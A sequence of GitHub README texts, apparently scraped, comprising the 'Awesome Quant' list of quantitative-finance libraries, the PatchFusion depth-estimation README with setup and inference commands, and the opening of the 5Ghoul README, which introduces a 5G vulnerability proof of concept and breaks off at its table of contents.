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A curated list of insanely awesome libraries, packages and resources for Quants (Quantitative Finance)

Awesome Quant

A curated list of insanely awesome libraries, packages and resources for Quants (Quantitative Finance).

Languages

Python

Numerical Libraries & Data Structures

numpy - NumPy is the fundamental package for scientific computing with Python.
scipy - SciPy (pronounced “Sigh Pie”) is a Python-based ecosystem of open-source software for mathematics, science, and engineering.
pandas - pandas is an open source, BSD-licensed library providing high-performance, easy-to-use data structures and data analysis tools for the Python programming language.
quantdsl - Domain specific language for quantitative analytics in finance and trading.
statistics - Builtin Python library for all basic statistical calculations.
sympy - SymPy is a Python library for symbolic mathematics.
pymc3 - Probabilistic Programming in Python: Bayesian Modeling and Probabilistic Machine Learning with Theano.
modelx - Python reimagination of spreadsheets as formula-centric objects that are interoperable with pandas.

Financial Instruments and Pricing

OpenBB Terminal - Terminal for investment research for everyone.
PyQL - QuantLib's Python port.
pyfin - Basic options pricing in Python. ARCHIVED
vollib - vollib is a python library for calculating option prices, implied volatility and greeks.
QuantPy - A framework for quantitative finance In python.
Finance-Python - Python tools for Finance.
ffn - A financial function library for Python.
pynance - Lightweight Python library for assembling and analysing financial data.
tia - Toolkit for integration and analysis.
hasura/base-python-dash - Hasura quickstart to deploy Dash framework. Written on top of Flask, Plotly.js, and React.js, Dash is ideal for building data visualization apps with highly custom user interfaces in pure Python.
hasura/base-python-bokeh - Hasura quickstart to visualize data with bokeh library.
pysabr - SABR model Python implementation.
FinancePy - A Python Finance Library that focuses on the pricing and risk-management of Financial Derivatives, including fixed-income, equity, FX and credit derivatives.
gs-quant - Python toolkit for quantitative finance
willowtree - Robust and flexible Python implementation of the willow tree lattice for derivatives pricing.
financial-engineering - Applications of Monte Carlo methods to financial engineering projects, in Python.
optlib - A library for financial options pricing written in Python.
tf-quant-finance - High-performance TensorFlow library for quantitative finance.
Q-Fin - A Python library for mathematical finance.
Quantsbin - Tools for pricing and plotting of vanilla option prices, greeks and various other analysis around them.
finoptions - Complete python implementation of R package fOptions with partial implementation of fExoticOptions for pricing various options.
pypme - PME (Public Market Equivalent) calculation.
AbsBox - A Python based library to model cashflow for structured product like Asset-backed securities (ABS) and Mortgage-backed securities (MBS).
Intrinsic-Value-Calculator - A Python tool for quick calculations of a stock's fair value using Discounted Cash Flow analysis.
Kelly-Criterion - Kelly Criterion implemented in Python to size portfolios based on J. L. Kelly Jr's formula.

Indicators

pandas_talib - A Python Pandas implementation of technical analysis indicators.
finta - Common financial technical analysis indicators implemented in Pandas.
Tulipy - Financial Technical Analysis Indicator Library (Python bindings for tulipindicators)
lppls - A Python module for fitting the Log-Periodic Power Law Singularity (LPPLS) model.

Trading & Backtesting

Investing algorithm framework - Framework for developing, backtesting, and deploying automated trading algorithms.
QSTrader - QSTrader backtesting simulation engine.
Blankly - Fully integrated backtesting, paper trading, and live deployment.
TA-Lib - Python wrapper for TA-Lib (http://ta-lib.org/).
zipline - Pythonic algorithmic trading library.
QuantSoftware Toolkit - Python-based open source software framework designed to support portfolio construction and management.
quantitative - Quantitative finance, and backtesting library.
analyzer - Python framework for real-time financial and backtesting trading strategies.
bt - Flexible Backtesting for Python.
backtrader - Python Backtesting library for trading strategies.
pythalesians - Python library to backtest trading strategies, plot charts, seamlessly download market data, analyse market patterns etc.
pybacktest - Vectorized backtesting framework in Python / pandas, designed to make your backtesting easier.
pyalgotrade - Python Algorithmic Trading Library.
basana - A Python async and event driven framework for algorithmic trading, with a focus on crypto currencies.
tradingWithPython - A collection of functions and classes for Quantitative trading.
Pandas TA - Pandas TA is an easy to use Python 3 Pandas Extension with 115+ Indicators. Easily build Custom Strategies.
ta - Technical Analysis Library using Pandas (Python)
algobroker - This is an execution engine for algo trading.
pysentosa - Python API for sentosa trading system.
finmarketpy - Python library for backtesting trading strategies and analyzing financial markets.
binary-martingale - Computer program to automatically trade binary options martingale style.
fooltrader - the project using big-data technology to provide an uniform way to analyze the whole market.
zvt - the project using sql,pandas to provide an uniform and extendable way to record data,computing factors,select securites, backtesting,realtime trading and it could show all of them in clearly charts in realtime.
pylivetrader - zipline-compatible live trading library.
pipeline-live - zipline's pipeline capability with IEX for live trading.
zipline-extensions - Zipline extensions and adapters for QuantRocket.
moonshot - Vectorized backtester and trading engine for QuantRocket based on Pandas.
PyPortfolioOpt - Financial portfolio optimisation in python, including classical efficient frontier and advanced methods.
Eiten - Eiten is an open source toolkit by Tradytics that implements various statistical and algorithmic investing strategies such as Eigen Portfolios, Minimum Variance Portfolios, Maximum Sharpe Ratio Portfolios, and Genetic Algorithms based Portfolios.
riskparity.py - fast and scalable design of risk parity portfolios with TensorFlow 2.0
mlfinlab - Implementations regarding "Advances in Financial Machine Learning" by Marcos Lopez de Prado. (Feature Engineering, Financial Data Structures, Meta-Labeling)
pyqstrat - A fast, extensible, transparent python library for backtesting quantitative strategies.
NowTrade - Python library for backtesting technical/mechanical strategies in the stock and currency markets.
pinkfish - A backtester and spreadsheet library for security analysis.
aat - Async Algorithmic Trading Engine
Backtesting.py - Backtest trading strategies in Python
catalyst - An Algorithmic Trading Library for Crypto-Assets in Python
quantstats - Portfolio analytics for quants, written in Python
qtpylib - QTPyLib, Pythonic Algorithmic Trading http://qtpylib.io
Quantdom - Python-based framework for backtesting trading strategies & analyzing financial markets [GUI )]
freqtrade - Free, open source crypto trading bot
algorithmic-trading-with-python - Free pandas and scikit-learn resources for trading simulation, backtesting, and machine learning on financial data.
DeepDow - Portfolio optimization with deep learning
Qlib - An AI-oriented Quantitative Investment Platform by Microsoft. Full ML pipeline of data processing, model training, back-testing; and covers the entire chain of quantitative investment: alpha seeking, risk modeling, portfolio optimization, and order execution.
machine-learning-for-trading - Code and resources for Machine Learning for Algorithmic Trading
AlphaPy - Automated Machine Learning [AutoML] with Python, scikit-learn, Keras, XGBoost, LightGBM, and CatBoost
jesse - An advanced crypto trading bot written in Python
rqalpha - A extendable, replaceable Python algorithmic backtest && trading framework supporting multiple securities.
FinRL-Library - A Deep Reinforcement Learning Library for Automated Trading in Quantitative Finance. NeurIPS 2020.
bulbea - Deep Learning based Python Library for Stock Market Prediction and Modelling.
ib_nope - Automated trading system for NOPE strategy over IBKR TWS.
OctoBot - Open source cryptocurrency trading bot for high frequency, arbitrage, TA and social trading with an advanced web interface.
bta-lib - Technical Analysis library in pandas for backtesting algotrading and quantitative analysis.
Stock-Prediction-Models - Gathers machine learning and deep learning models for Stock forecasting including trading bots and simulations.
TuneTA - TuneTA optimizes technical indicators using a distance correlation measure to a user defined target feature such as next day return.
AutoTrader - A Python-based development platform for automated trading systems - from backtesting to optimisation to livetrading.
fast-trade - A library built with backtest portability and performance in mind for backtest trading strategies.
qf-lib - QF-Lib is a Python library that provides high quality tools for quantitative finance.
tda-api - Gather data and trade equities, options, and ETFs via TDAmeritrade.
vectorbt - Find your trading edge, using a powerful toolkit for backtesting, algorithmic trading, and research.
Lean - Lean Algorithmic Trading Engine by QuantConnect (Python, C#).
fast-trade - Low code backtesting library utilizing pandas and technical analysis indicators.
pysystemtrade - pysystemtrade is the open source version of Robert Carver's backtesting and trading engine that implements systems according to the framework outlined in his book "Systematic Trading", which is further developed on his blog.
pytrendseries - Detect trend in time series, drawdown, drawdown within a constant look-back window , maximum drawdown, time underwater.
PyLOB - Fully functioning fast Limit Order Book written in Python.
PyBroker - Algorithmic Trading with Machine Learning.
OctoBot Script - A quant framework to create cryptocurrencies strategies - from backtesting to optimisation to livetrading.
hftbacktest - A high-frequency trading and market-making backtesting tool accounts for limit orders, queue positions, and latencies, utilizing full tick data for trades and order books.
vnpy - VeighNa is a Python-based open source quantitative trading system development framework.
Intelligent Trading Bot - Automatically generating signals and trading based on machine learning and feature engineering

Risk Analysis

pyfolio - Portfolio and risk analytics in Python.
empyrical - Common financial risk and performance metrics.
fecon235 - Computational tools for financial economics include: Gaussian Mixture model of leptokurtotic risk, adaptive Boltzmann portfolios.
finance - Financial Risk Calculations. Optimized for ease of use through class construction and operator overload.
qfrm - Quantitative Financial Risk Management: awesome OOP tools for measuring, managing and visualizing risk of financial instruments and portfolios.
visualize-wealth - Portfolio construction and quantitative analysis.
VisualPortfolio - This tool is used to visualize the performance of a portfolio.
universal-portfolios - Collection of algorithms for online portfolio selection.
FinQuant - A program for financial portfolio management, analysis and optimisation.
Empyrial - Portfolio's risk and performance analytics and returns predictions.
risktools - Risk tools for use within the crude and crude products trading space with partial implementation of R's PerformanceAnalytics.
Riskfolio-Lib - Portfolio Optimization and Quantitative Strategic Asset Allocation in Python.

Factor Analysis

alphalens - Performance analysis of predictive alpha factors.
Spectre - GPU-accelerated Factors analysis library and Backtester

Quant Research Environment

Jupyter Quant - A dockerized Jupyter quant research environment with preloaded tools for quant analysis, statsmodels, pymc, arch, py_vollib, zipline-reloaded, PyPortfolioOpt, etc.

Time Series

ARCH - ARCH models in Python.
statsmodels - Python module that allows users to explore data, estimate statistical models, and perform statistical tests.
dynts - Python package for timeseries analysis and manipulation.
PyFlux - Python library for timeseries modelling and inference (frequentist and Bayesian) on models.
tsfresh - Automatic extraction of relevant features from time series.
hasura/quandl-metabase - Hasura quickstart to visualize Quandl's timeseries datasets with Metabase.
Facebook Prophet - Tool for producing high quality forecasts for time series data that has multiple seasonality with linear or non-linear growth.
tsmoothie - A python library for time-series smoothing and outlier detection in a vectorized way.
pmdarima - A statistical library designed to fill the void in Python's time series analysis capabilities, including the equivalent of R's auto.arima function.
gluon-ts - vProbabilistic time series modeling in Python.

Calendars

exchange_calendars - Stock Exchange Trading Calendars.
bizdays - Business days calculations and utilities.
pandas_market_calendars - Exchange calendars to use with pandas for trading applications.

Data Sources

yfinance - Yahoo! Finance market data downloader (+faster Pandas Datareader)
findatapy - Python library to download market data via Bloomberg, Quandl, Yahoo etc.
googlefinance - Python module to get real-time stock data from Google Finance API.
yahoo-finance - Python module to get stock data from Yahoo! Finance.
pandas-datareader - Python module to get data from various sources (Google Finance, Yahoo Finance, FRED, OECD, Fama/French, World Bank, Eurostat...) into Pandas datastructures such as DataFrame, Panel with a caching mechanism.
pandas-finance - High level API for access to and analysis of financial data.
pyhoofinance - Rapidly queries Yahoo Finance for multiple tickers and returns typed data for analysis.
yfinanceapi - Finance API for Python.
yql-finance - yql-finance is simple and fast. API returns stock closing prices for current period of time and current stock ticker (i.e. APPL, GOOGL).
ystockquote - Retrieve stock quote data from Yahoo Finance.
wallstreet - Real time stock and option data.
stock_extractor - General Purpose Stock Extractors from Online Resources.
Stockex - Python wrapper for Yahoo! Finance API.
finsymbols - Obtains stock symbols and relating information for SP500, AMEX, NYSE, and NASDAQ.
FRB - Python Client for FRED® API.
inquisitor - Python Interface to Econdb.com API.
yfi - Yahoo! YQL library.
chinesestockapi - Python API to get Chinese stock price.
exchange - Get current exchange rate.
ticks - Simple command line tool to get stock ticker data.
pybbg - Python interface to Bloomberg COM APIs.
ccy - Python module for currencies.
tushare - A utility for crawling historical and Real-time Quotes data of China stocks.
jsm - Get the japanese stock market data.
cn_stock_src - Utility for retrieving basic China stock data from different sources.
coinmarketcap - Python API for coinmarketcap.
after-hours - Obtain pre market and after hours stock prices for a given symbol.
bronto-python - Bronto API Integration for Python.
pytdx - Python Interface for retrieving chinese stock realtime quote data from TongDaXin Nodes.
pdblp - A simple interface to integrate pandas and the Bloomberg Open API.
tiingo - Python interface for daily composite prices/OHLC/Volume + Real-time News Feeds, powered by the Tiingo Data Platform.
iexfinance - Python Interface for retrieving real-time and historical prices and equities data from The Investor's Exchange.
pyEX - Python interface to IEX with emphasis on pandas, support for streaming data, premium data, points data (economic, rates, commodities), and technical indicators.
alpaca-trade-api - Python interface for retrieving real-time and historical prices from Alpaca API as well as trade execution.
metatrader5 - API Connector to MetaTrader 5 Terminal
akshare - AkShare is an elegant and simple financial data interface library for Python, built for human beings! https://akshare.readthedocs.io
yahooquery - Python interface for retrieving data through unofficial Yahoo Finance API.
investpy - Financial Data Extraction from Investing.com with Python! https://investpy.readthedocs.io/
yliveticker - Live stream of market data from Yahoo Finance websocket.
bbgbridge - Easy to use Bloomberg Desktop API wrapper for Python.
alpha_vantage - A python wrapper for Alpha Vantage API for financial data.
FinanceDataReader - Open Source Financial data reader for U.S, Korean, Japanese, Chinese, Vietnamese Stocks
pystlouisfed - Python client for Federal Reserve Bank of St. Louis API - FRED, ALFRED, GeoFRED and FRASER.
python-bcb - Python interface to Brazilian Central Bank web services.
market-prices - Create meaningful OHLCV datasets from knowledge of exchange-calendars (works out-the-box with data from Yahoo Finance).
tardis-python - Python interface for Tardis.dev high frequency crypto market data
lake-api - Python interface for Crypto Lake high frequency crypto market data
tessa - simple, hassle-free access to price information of financial assets (currently based on yfinance and pycoingecko), including search and a symbol class.
pandaSDMX - Python package that implements SDMX 2.1 (ISO 17369:2013), a format for exchange of statistical data and metadata used by national statistical agencies, central banks, and international organisations.
cif - Python package that include few composite indicators, which summarize multidimensional relationships between individual economic indicators.
finagg - finagg is a Python package that provides implementations of popular and free financial APIs, tools for aggregating historical data from those APIs into SQL databases, and tools for transforming aggregated data into features useful for analysis and AI/ML.

Excel Integration

xlwings - Make Excel fly with Python.
openpyxl - Read/Write Excel 2007 xlsx/xlsm files.
xlrd - Library for developers to extract data from Microsoft Excel spreadsheet files.
xlsxwriter - Write files in the Excel 2007+ XLSX file format.
xlwt - Library to create spreadsheet files compatible with MS Excel 97/2000/XP/2003 XLS files, on any platform.
DataNitro - DataNitro also offers full-featured Python-Excel integration, including UDFs. Trial downloads are available, but users must purchase a license.
xlloop - XLLoop is an open source framework for implementing Excel user-defined functions (UDFs) on a centralised server (a function server).
expy - The ExPy add-in allows easy use of Python directly from within an Microsoft Excel spreadsheet, both to execute arbitrary code and to define new Excel functions.
pyxll - PyXLL is an Excel add-in that enables you to extend Excel using nothing but Python code.

Visualization

D-Tale - Visualizer for pandas dataframes and xarray datasets.
mplfinance - matplotlib utilities for the visualization, and visual analysis, of financial data.
finplot - Performant and effortless finance plotting for Python.
finvizfinance - Finviz analysis python library.
market-analy - Analysis and interactive charting using market-prices and bqplot.

R

Numerical Libraries & Data Structures

xts - eXtensible Time Series: Provide for uniform handling of R's different time-based data classes by extending zoo, maximizing native format information preservation and allowing for user level customization and extension, while simplifying cross-class interoperability.
data.table - Extension of data.frame: Fast aggregation of large data (e.g. 100GB in RAM), fast ordered joins, fast add/modify/delete of columns by group using no copies at all, list columns and a fast file reader (fread). Offers a natural and flexible syntax, for faster development.
sparseEigen - Sparse pricipal component analysis.
TSdbi - Provides a common interface to time series databases.
tseries - Time Series Analysis and Computational Finance.
zoo - S3 Infrastructure for Regular and Irregular Time Series (Z's Ordered Observations).
tis - Functions and S3 classes for time indexes and time indexed series, which are compatible with FAME frequencies.
tfplot - Utilities for simple manipulation and quick plotting of time series data.
tframe - A kernel of functions for programming time series methods in a way that is relatively independently of the representation of time.

Data Sources

IBrokers - Provides native R access to Interactive Brokers Trader Workstation API.
Rblpapi - An R Interface to 'Bloomberg' is provided via the 'Blp API'.
Quandl - Get Financial Data Directly Into R.
Rbitcoin - Unified markets API interface (bitstamp, kraken, btce, bitmarket).
GetTDData - Downloads and aggregates data for Brazilian government issued bonds directly from the website of Tesouro Direto.
GetHFData - Downloads and aggregates high frequency trading data for Brazilian instruments directly from Bovespa ftp site.
Reddit WallstreetBets API - Provides daily top 50 stocks from reddit (subreddit) Wallstreetbets and their sentiments via the API.
td - Interfaces the 'twelvedata' API for stocks and (digital and standard) currencies.
rbcb - R interface to Brazilian Central Bank web services.
rb3 - A bunch of downloaders and parsers for data delivered from B3.
simfinapi - Makes 'SimFin' data (https://simfin.com/) easily accessible in R.

Financial Instruments and Pricing

RQuantLib - RQuantLib connects GNU R with QuantLib.
quantmod - Quantitative Financial Modelling Framework.
Rmetrics - The premier open source software solution for teaching and training quantitative finance.
- fAsianOptions - EBM and Asian Option Valuation.
- fAssets - Analysing and Modelling Financial Assets.
- fBasics - Markets and Basic Statistics.
- fBonds - Bonds and Interest Rate Models.
- fExoticOptions - Exotic Option Valuation.
- fOptions - Pricing and Evaluating Basic Options.
- fPortfolio - Portfolio Selection and Optimization.
portfolio - Analysing equity portfolios.
sparseIndexTracking - Portfolio design to track an index.
covFactorModel - Covariance matrix estimation via factor models.
riskParityPortfolio - Blazingly fast design of risk parity portfolios.
sde - Simulation and Inference for Stochastic Differential Equations.
YieldCurve - Modelling and estimation of the yield curve.
SmithWilsonYieldCurve - Constructs a yield curve by the Smith-Wilson method from a table of LIBOR and SWAP rates.
ycinterextra - Yield curve or zero-coupon prices interpolation and extrapolation.
AmericanCallOpt - This package includes pricing function for selected American call options with underlying assets that generate payouts.
VarSwapPrice - Pricing a variance swap on an equity index.
RND - Risk Neutral Density Extraction Package.
LSMonteCarlo - American options pricing with Least Squares Monte Carlo method.
OptHedging - Estimation of value and hedging strategy of call and put options.
tvm - Time Value of Money Functions.
OptionPricing - Option Pricing with Efficient Simulation Algorithms.
credule - Credit Default Swap Functions.
derivmkts - Functions and R Code to Accompany Derivatives Markets.
FinCal - Package for time value of money calculation, time series analysis and computational finance.
r-quant - R code for quantitative analysis in finance.
options.studies - options trading studies functions for use with options.data package and shiny.
PortfolioAnalytics - Portfolio Analysis, Including Numerical Methods for Optimizationof Portfolios.
fmbasics - Financial Market Building Blocks.
R-fixedincome - Fixed income tools for R.

Trading

backtest - Exploring Portfolio-Based Conjectures About Financial Instruments.
pa - Performance Attribution for Equity Portfolios.
TTR - Technical Trading Rules.
QuantTools - Enhanced Quantitative Trading Modelling.
blotter - Transaction infrastructure for defining instruments, transactions, portfolios and accounts for trading systems and simulation. Provides portfolio support for multi-asset class and multi-currency portfolios. Actively maintained and developed.

Backtesting

quantstrat - Transaction-oriented infrastructure for constructing trading systems and simulation. Provides support for multi-asset class and multi-currency portfolios for backtesting and other financial research.

Risk Analysis

PerformanceAnalytics - Econometric tools for performance and risk analysis.

Factor Analysis

FactorAnalytics - The FactorAnalytics package contains fitting and analysis methods for the three main types of factor models used in conjunction with portfolio construction, optimization and risk management, namely fundamental factor models, time series factor models and statistical factor models.
Expected Returns - Solutions for enhancing portfolio diversification and replications of seminal papers with R, most of which are discussed in one of the best investment references of the recent decade, Expected Returns: An Investors Guide to Harvesting Market Rewards by Antti Ilmanen.

Time Series

tseries - Time Series Analysis and Computational Finance.
fGarch - Rmetrics - Autoregressive Conditional Heteroskedastic Modelling.
timeSeries - Rmetrics - Financial Time Series Objects.
rugarch - Univariate GARCH Models.
rmgarch - Multivariate GARCH Models.
tidypredict - Run predictions inside the database https://tidypredict.netlify.com/.
tidyquant - Bringing financial analysis to the tidyverse.
timetk - A toolkit for working with time series in R.
tibbletime - Built on top of the tidyverse, tibbletime is an extension that allows for the creation of time aware tibbles through the setting of a time index.
matrixprofile - Time series data mining library built on top of the novel Matrix Profile data structure and algorithms.
garchmodels - A parsnip backend for GARCH models.

Calendars

timeDate - Chronological and Calendar Objects
bizdays - Business days calculations and utilities

Matlab

FrameWorks

QUANTAXIS - Integrated Quantitative Toolbox with Matlab.

Julia

QuantLib.jl - Quantlib implementation in pure Julia.
Ito.jl - A Julia package for quantitative finance.
TALib.jl - A Julia wrapper for TA-Lib.
Miletus.jl - A financial contract definition, modeling language, and valuation framework.
Temporal.jl - Flexible and efficient time series class & methods.
Indicators.jl - Financial market technical analysis & indicators on top of Temporal.
Strategems.jl - Quantitative systematic trading strategy development and backtesting.
TimeSeries.jl - Time series toolkit for Julia.
MarketTechnicals.jl - Technical analysis of financial time series on top of TimeSeries.
MarketData.jl - Time series market data.
TimeFrames.jl - A Julia library that defines TimeFrame (essentially for resampling TimeSeries).
DataFrames.jl - In-memory tabular data in Julia
TSFrames.jl - Handle timeseries data on top of the powerful and mature DataFrames.jl

Java

Strata - Modern open-source analytics and market risk library designed and written in Java.
JQuantLib - JQuantLib is a free, open-source, comprehensive framework for quantitative finance, written in 100% Java.
finmath.net - Java library with algorithms and methodologies related to mathematical finance.
quantcomponents - Free Java components for Quantitative Finance and Algorithmic Trading.
DRIP - Fixed Income, Asset Allocation, Transaction Cost Analysis, XVA Metrics Libraries.
ta4j - A Java library for technical analysis.

JavaScript

finance.js - A JavaScript library for common financial calculations.
portfolio-allocation - PortfolioAllocation is a JavaScript library designed to help constructing financial portfolios made of several assets: bonds, commodities, cryptocurrencies, currencies, exchange traded funds (ETFs), mutual funds, stocks...
Ghostfolio - Wealth management software to keep track of financial assets like stocks, ETFs or cryptocurrencies and make solid, data-driven investment decisions.
IndicatorTS - Indicator is a TypeScript module providing various stock technical analysis indicators, strategies, and a backtest framework for trading.
ccxt - A JavaScript / Python / PHP cryptocurrency trading API with support for more than 100 bitcoin/altcoin exchanges.
PENDAX - Javascript SDK for Trading/Data API and Websockets for FTX, FTXUS, OKX, Bybit, & More.

Data Visualization

QUANTAXIS_Webkit - An awesome visualization center based on quantaxis.

Haskell

quantfin - quant finance in pure haskell.
Haxcel - Excel Addin for Haskell.
Ffinar - A financial maths library in Haskell.

Scala

QuantScale - Scala Quantitative Finance Library.
Scala Quant - Scala library for working with stock data from IFTTT recipes or Google Finance.

Ruby

Jiji - Open Source Forex algorithmic trading framework using OANDA REST API.

Elixir/Erlang

Tai - Open Source composable, real time, market data and trade execution toolkit.
Workbench - From Idea to Execution - Manage your trading operation across a globally distributed cluster
Prop - An open and opinionated trading platform using productive & familiar open source libraries and tools for strategy research, execution and operation.

Golang

Kelp - Kelp is an open-source Golang algorithmic cryptocurrency trading bot that runs on centralized exchanges and Stellar DEX (command-line usage and desktop GUI).
marketstore - DataFrame Server for Financial Timeseries Data.
IndicatorGo - IndicatorGo is a Golang module providing various stock technical analysis indicators, strategies, and a backtest framework for trading.

CPP

TradeFrame - C++ 17 based framework/library (with sample applications) for testing options based automated trading ideas using DTN IQ real time data feed and Interactive Brokers (TWS API) for trade execution. Comes with built-in Option Greeks/IV calculation library.

Frameworks

QuantLib - The QuantLib project is aimed at providing a comprehensive software framework for quantitative finance.
- JQuantLib - Java port.
- RQuantLib - R port.
- QuantLibAddin - Excel support.
- QuantLibXL - Excel support.
- QLNet - .Net port.
- PyQL - Python port.
- QuantLib.jl - Julia port.
- QuantLib-Python Documentation - Documentation for the Python bindings for the QuantLib library
- QuantLib with Automatic Differention enabled - Integration of Automatic Differentiation with the QuantLib library
TA-Lib - perform technical analysis of financial market data.
- ta-lib-python
- ta-lib
Portfolio Optimizer - Portfolio Optimizer is a Web API for portfolio analysis and optimization.

CSharp

QuantConnect - Lean Engine is an open-source fully managed C# algorithmic trading engine built for desktop and cloud usage.
StockSharp - Algorithmic trading and quantitative trading open source platform to develop trading robots (stock markets, forex, crypto, bitcoins, and options).
TDAmeritrade.DotNetCore - Free, open-source .NET Client for the TD Ameritrade Trading Platform. Helps developers integrate TD Ameritrade API into custom trading solutions.

Rust

QuantMath - Financial maths library for risk-neutral pricing and risk
Barter - Open-source Rust framework for building event-driven live-trading & backtesting systems
LFEST - Simulated perpetual futures exchange to trade your strategy against.
TradeAggregation - Aggregate trades into user-defined candles using information driven rules.
SlidingFeatures - Chainable tree-like sliding windows for signal processing and technical analysis.
RustQuant - Quantitative finance library written in Rust.

Reproducing Works, Training & Books

Derman Papers - Notebooks that replicate original quantitative finance papers from Emanuel Derman.
ML-Quant - Top Quant resources like ArXiv (sanity), SSRN, RePec, Journals, Podcasts, Videos, and Blogs.
volatility-trading - A complete set of volatility estimators based on Euan Sinclair's Volatility Trading.
quant - Quantitative Finance and Algorithmic Trading exhaust; mostly ipython notebooks based on Quantopian, Zipline, or Pandas.
fecon235 - Open source project for software tools in financial economics. Many jupyter notebook to verify theoretical ideas and practical methods interactively.
Quantitative-Notebooks - Educational notebooks on quantitative finance, algorithmic trading, financial modelling and investment strategy
QuantEcon - Lecture series on economics, finance, econometrics and data science; QuantEcon.py, QuantEcon.jl, notebooks
FinanceHub - Resources for Quantitative Finance
Python_Option_Pricing - An libary to price financial options written in Python. Includes: Black Scholes, Black 76, Implied Volatility, American, European, Asian, Spread Options.
python-training - J.P. Morgan's Python training for business analysts and traders.
Stock_Analysis_For_Quant - Different Types of Stock Analysis in Excel, Matlab, Power BI, Python, R, and Tableau.
algorithmic-trading-with-python - Source code for Algorithmic Trading with Python (2020) by Chris Conlan.
MEDIUM_NoteBook - Repository containing notebooks of cerlymarco's posts on Medium.
QuantFinance - Training materials in quantitative finance.
IPythonScripts - Tutorials about Quantitative Finance in Python and QuantLib: Pricing, xVAs, Hedging, Portfolio Optimisation, Machine Learning and Deep Learning.
Computational-Finance-Course - Materials for the course of Computational Finance.
Machine-Learning-for-Asset-Managers - Implementation of code snippets, exercises and application to live data from Machine Learning for Asset Managers (Elements in Quantitative Finance) written by Prof. Marcos López de Prado.
Python-for-Finance-Cookbook - Python for Finance Cookbook, published by Packt.
modelos_vol_derivativos - "Modelos de Volatilidade para Derivativos" book's Jupyter notebooks
NMOF - Functions, examples and data from the first and the second edition of "Numerical Methods and Optimization in Finance" by M. Gilli, D. Maringer and E. Schumann (2019, ISBN:978-0128150658).
py4fi2nd - Jupyter Notebooks and code for Python for Finance (2nd ed., O'Reilly) by Yves Hilpisch.
aiif - Jupyter Notebooks and code for the book Artificial Intelligence in Finance (O'Reilly) by Yves Hilpisch.
py4at - Jupyter Notebooks and code for the book Python for Algorithmic Trading (O'Reilly) by Yves Hilpisch.
dawp - Jupyter Notebooks and code for Derivatives Analytics with Python (Wiley Finance) by Yves Hilpisch.
dx - DX Analytics | Financial and Derivatives Analytics with Python.
QuantFinanceBook - Quantitative Finance book.
rough_bergomi - A Python implementation of the rough Bergomi model.
frh-fx - A python implementation of the fast-reversion Heston model of Mechkov for FX purposes.
Value Investing Studies - A collection of data analysis studies that examine the performance and characteristics of value investing over long periods of time.
Machine Learning Asset Management - Machine Learning in Asset Management (by @firmai).
Deep Learning Machine Learning Stock - Deep Learning and Machine Learning stocks represent a promising long-term or short-term opportunity for investors and traders.
Technical Analysis and Feature Engineering - Feature Engineering and Feature Importance of Machine Learning in Financial Market.
Differential Machine Learning and Axes that matter by Brian Huge and Antoine Savine - Implement, demonstrate, reproduce and extend the results of the Risk articles 'Differential Machine Learning' (2020) and 'PCA with a Difference' (2021) by Huge and Savine, and cover implementation details left out from the papers.
systematictradingexamples - Examples of code related to book Systematic Trading and blog
pysystemtrade_examples - Examples using pysystemtrade for Robert Carver's blog.
ML_Finance_Codes - Machine Learning in Finance: From Theory to Practice Book
Hands-On Machine Learning for Algorithmic Trading - Hands-On Machine Learning for Algorithmic Trading, published by Packt
financialnoob-misc - Codes from @financialnoob's posts
MesoSim Options Trading Strategy Library - Free and public Options Trading strategy library for MesoSim.
Quant-Finance-With-Python-Code - Repo for code examples in Quantitative Finance with Python by Chris Kelliher
QuantFinanceTraining - This repository contains codes that were executed during my training in the CQF (Certificate in Quantitative Finance). The codes are organized by class, facilitating navigation and reference.

zhyever/PatchFusion

2023-12-12T01:43:17Z

An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation

PatchFusion

An End-to-End Tile-Based Framework
for High-Resolution Monocular Metric Depth Estimation

Zhenyu Li, Shariq Farooq Bhat, Peter Wonka.
KAUST

DEMO

Our official huggingface demo is available here! You can have a test with your own high-resolution image, even without a local GPU! It only takes 1min for depth prediction plus controlnet generation!

Thanks for the kind support from hysts!

Environment setup

The project depends on :

pytorch (Main framework)
timm (Backbone helper for MiDaS)
ZoeDepth (Main baseline)
ControlNet (For potential application)
pillow, matplotlib, scipy, h5py, opencv (utilities)

Install environment using environment.yml :

Using mamba (fastest):

mamba (or micromamba) env create -n patchfusion --file environment.yml
mamba (or micromamba) activate patchfusion

Using conda :

conda env create -n patchfusion --file environment.yml
conda activate patchfusion

Pre-Train Model

Download our pre-trained model here, and put this checkpoint at nfs/patchfusion_u4k.pt as preparation for the following steps.

If you want to play the ControlNet demo, please download the pre-trained ControlNet model here, and put this checkpoint at nfs/control_sd15_depth.pth.

Gradio Demo

We provide a UI demo built using gradio. To get started, install UI requirements:

pip install -r ui_requirements.txt

Launch the gradio UI for depth estimation or image to 3D:

python ./ui_prediction.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json

Launch the gradio UI for depth-guided image generation with ControlNet:

python ./ui_generative.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json

User Inference

Put your images in folder path/to/your/folder

Run codes:

python ./infer_user.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json --rgb_dir path/to/your/folder --show --show_path path/to/show --save --save_path path/to/save --mode r128 --boundary 0 --blur_mask

Check visualization results in path/to/show and depth results in path/to/save, respectively.

Args

We recommand users to use --blur_mask to reduce patch artifacts, though we didn't use it in our standard evaluation process.
--mode: select from p16, p49, and rn, where n is the number of random added patches.
Please refer to infer_user.py for more details.

Citation

If you find our work useful for your research, please consider citing the paper

@article{li2023patchfusion,
    title={PatchFusion: An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation}, 
    author={Zhenyu Li and Shariq Farooq Bhat and Peter Wonka},
    year={2023},
    eprint={2312.02284},
    archivePrefix={arXiv},
    primaryClass={cs.CV}}

asset-group/5ghoul-5g-nr-attacks

2023-12-12T01:43:17Z

5Ghoul - 5G NR Attacks & 5G OTA Fuzzing

Proof of Concept (PoC) of 5G NR Attacks against commercial smartphones, CPE routers, USB Modems, etc. Fuzzer included⚡. 5Ghoul is family of implementation-level 5G DoS vulnerabilities affecting Qualcomm and MediaTek mobile platforms. For more details, see https://asset-group.github.io/disclosures/5ghoul/

Table of Contents

1. 📋 Requirements

